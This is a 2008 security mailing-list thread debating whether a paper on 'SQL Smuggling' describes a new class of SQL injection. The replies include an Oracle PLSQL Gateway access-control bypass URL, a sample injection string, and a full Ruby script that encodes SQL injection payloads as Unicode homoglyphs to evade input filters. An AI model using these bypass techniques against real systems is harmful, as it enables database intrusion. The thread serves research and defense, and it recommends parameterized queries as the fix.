douglen@hotmail.com
10/09/08, 01:15
After our corporate website reshuffling, I thought that now would be a good time to send this here too...
We released a research paper a few months ago, regarding a sub-class of SQL Injection that has not received attention till now. The crux is that when it comes to SQLi, protection and detection do not typically take the architecture into account; this can allow smuggling attacks which are not blocked or discovered.
The paper can be found at:
http://www.ComsecGlobal.com/framework/Upload/SQL_Smuggling.pdf
From the paper:
"This paper will present a new class of attack, called SQL Smuggling. SQL Smuggling is a sub-class of SQL Injection attacks that rely on differences between contextual interpretation performed by the application platform and the database server. While numerous instances of SQL Smuggling are commonly known, it has yet to be examined as a discrete class of attacks, with a common root cause. The root cause in fact has not yet been thoroughly investigated; this research is a result of a new smuggling technique, presented in this paper. It is fair to assume that further study of this commonality will likely lead to additional findings in this area.
SQL Smuggling attacks can effectively bypass standard protective mechanisms and succeed in injecting malicious SQL to the database, in spite of these protective mechanisms. This paper explores several situations wherein these protective mechanisms are not as effective as assumed, and thus may be bypassed by malicious attackers. This in effect allows an attacker to succeed in "smuggling" his SQL Injection attack through the applicative protections, and attack the database despite those protections. "
Of course, I'm looking forward to hearing about other instances of this...
Cheers,
AviD
Marco Ivaldi
10/09/08, 18:05
Avi,
On Tue, 9 Sep 2008, douglen@hotmail.com wrote:
[snip]
> Of course, I'm looking forward to hearing about other instances of
> this...
Interesting reasearch.
It looks like Oracle DBMS may be vulnerable to the "Unicode Smuggling"
attack exploiting homoglyphic translation. As outlined by David Litchfield
in an old full-disclosure post [1]:
"It didn't take long to discover that this patch could be bypassed using
the following techinque: due to internationalization, an Oracle database
server will convert the ? character (value 0xFF) to a capital Y. The PLSQL
Gateway will not. Thus, if we request:
http://www.example.com/pls/dad/S%FFS.PACKAGE.PROCEDURE
the gateway will happily pass it over to the database server where the ?
is conveted to a Y and we can gain access again".
Cheers,
[1]. See http://seclists.org/fulldisclosure/2006/Feb/0011.html
--
Marco Ivaldi, OPST
Red Team Coordinator Data Security Division
@ Mediaservice.net Srl http://mediaservice.net/
Gary Oleary-Steele
11/09/08, 20:45
Hi,
First let me start by saying im not writing to flame anyone (or whatever you kids say these days). I know its can be a daunting to release a paper to the security community because if any of its incorrect you're gonna hear about it.
However releasing a paper and claiming it to be a new class (or sub-class) of vulnerability, well im sorry, its like wearing Gold football boots, you better get it right after a statement like that.
If this paper was titled "Bypassing Broken Input Validation Filters" then there would be no problems. However none of what exists in this document is new, in fact most of it is in the Web Application Hackers Handbook or in much older papers. Constructing attackers of all kinds to bypass black list filters is a common duty of the web application tester, also take a look at all of the recent SQL injection worms.
The main thing wrong here is claiming it to be something new, or even claiming it to be a "sub-class", it not!
Its several methods for encoding sql queries or tricking multi layered input validation/sanitisation routines, none of which are new, all of which are implemented by every pen/app tester i have ever worked with.
It could be a useful reference but i would rename it and drop the "new class" claims.
Regards
Gary
P.S. You mention the unicode trick but dont provide any code or exploit examples. Here is a ruby script to perform the encoding when attacking a bug via IIS (others may also work).
# Ruby Script to generate URL encoded Unicode UTF-8 URL.
# Author: Gary O'leary-Steele of Sec-1 Ltd
# Example:
# The string ' or 1 in (@@version)-- is encoded as and work for the same SQL injection attack
# %u02b9%u0020%uff4f%uff52%u0020%uff11%u0020%uff49%u ff4e%u0020%uff08%u0040%u0040%uff56%uff45%uff52%uff 53%uff49%uff4f%uff4e%uff09%uff0d%uff0d
#
#
require 'uri'
def unicode_url(string)
lookuptable = Hash.new
lookuptable ={
' ' => '%u0020',
'/' => '%u2215',
'\\' => '%u2215',
"'" => '%u02b9',
'"' => '%u0022',
'>' => '%u003e',
'<' => '%u003c',
'#' => '%uff03',
'!' => '%uff01',
'$' => '%uff04',
'*' => '%uff0a',
'@' => '%u0040',
'.' => '%uff0e',
'_' => '%uff3f',
'(' => '%uff08',
')' => '%uff09',
',' => '%uff0c',
'%' => '%u0025',
'-' => '%uff0d',
';' => '%uff1b',
':' => '%uff1a',
'|' => '%uff5c',
'&' => '%uff06',
'+' => '%uff0b',
'=' => '%uff1d',
'a' => '%uff41',
'A' => '%uff21',
'b' => '%uff42',
'B' => '%uff22',
'c' => '%uff43',
'C' => '%uff23',
'd' => '%uff44',
'D' => '%uff24',
'e' => '%uff45',
'E' => '%uff25',
'f' => '%uff46',
'F' => '%uff26',
'g' => '%uff47',
'G' => '%uff27',
'h' => '%uff48',
'H' => '%uff28',
'i' => '%uff49',
'I' => '%uff29',
'j' => '%uff4a',
'J' => '%uff2a',
'k' => '%uff4b',
'K' => '%uff2b',
'l' => '%uff4c',
'L' => '%uff2c',
'm' => '%uff4d',
'M' => '%uff2d',
'n' => '%uff4e',
'N' => '%uff2e',
'o' => '%uff4f',
'O' => '%uff2f',
'p' => '%uff50',
'P' => '%uff30',
'q' => '%uff51',
'Q' => '%uff31',
'r' => '%uff52',
'R' => '%uff32',
's' => '%uff53',
'S' => '%uff33',
't' => '%uff54',
'T' => '%uff34',
'u' => '%uff55',
'U' => '%uff35',
'v' => '%uff56',
'V' => '%uff36',
'w' => '%uff57',
'W' => '%uff37',
'x' => '%uff58',
'X' => '%uff38',
'y' => '%uff59',
'Y' => '%uff39',
'z' => '%uff5a',
'Z' => '%uff3a',
'0' => '%uff10',
'1' => '%uff11',
'2' => '%uff12',
'3' => '%uff13',
'4' => '%uff14',
'5' => '%uff15',
'6' => '%uff16',
'7' => '%uff17',
'8' => '%uff18',
'9' => '%uff19'}
# Convert string to array of chars
chararray = string.scan(/./)
newstr = String.new
chararray.each do |c|
if lookuptable.has_key? c
newstr = newstr + lookuptable[c]
else
newstr = newstr + URI.escape(c)
end
end
return newstr
end
print "Enter string to URL Unicode:"
puts unicode_url(gets)
________________________________________
From: Tim [tim-security@sentinelchicken.org]
Sent: 10 September 2008 00:34
To: douglen@hotmail.com
Cc: bugtraq@securityfocus.com
Subject: Re: SQL Smuggling
> We released a research paper a few months ago, regarding a sub-class
> of SQL Injection that has not received attention till now. The crux is
> that when it comes to SQLi, protection and detection do not typically
> take the architecture into account; this can allow smuggling attacks
> which are not blocked or discovered.
>
> The paper can be found at:
> http://www.ComsecGlobal.com/framework/Upload/SQL_Smuggling.pdf
>
> From the paper:
> "This paper will present a new class of attack, called SQL Smuggling.
> ...
I don't see how this is a new class of attack. You've merely outlined
some techniques to bypass broken data validation routines. In SQL
injection, as with any injection vulnerability, the correct way to fix
it is to rely on the syntax of the language to encode data which may be
interpreted as /special/.
Yes, this is database specific. That's not new. That's why you need to
rely on the database's routines for treating data as data and not as SQL
syntax. This is what parameterized statements are for. You rely on the
database driver or database server itself to correctly separate data
from syntax. If this is still injectable, then it's a vulnerability in
that particular database, but still isn't a "new class of attack".
Relying on data validation alone will eventually land you in hot water.
You can't always reject last names such as "O'Leary" just because of the
apostrophe. Correct encoding is the way to *fix* it, and data
validation should only be used to slow down the bad guy if you forgot to
encode something and to enforce business logic. (Go back and read this
paragraph again. It's the important one.)
As for attacks against signature validation... uh, don't even go there.
We all know that's a losing battle. Just look at how bad AV has become.
In summary, your paper would be better presented as a collection of fun
SQL injection attacks against commonly broken data validation routines.
tim
This e-mail and any attached files are confidential and may also be legally privileged. They are intended solely for the intended addressee. If you are not the addressee please e-mail it back to the sender and then immediately, permanently delete it. Do not read, print, re-transmit, store or act in reliance on it. This e-mail may be monitored by Sec-1 Ltd in accordance with current regulations. This footnote also confirms that this e-mail message has been swept for the presence of computer viruses currently known to Sec-1 Ltd. However, the recipient is responsible for virus-checking before opening this message and any attachment. Unless expressly stated to the contrary, any views expressed in this message are those of the individual sender and may not necessarily reflect the views of Sec-1 Ltd.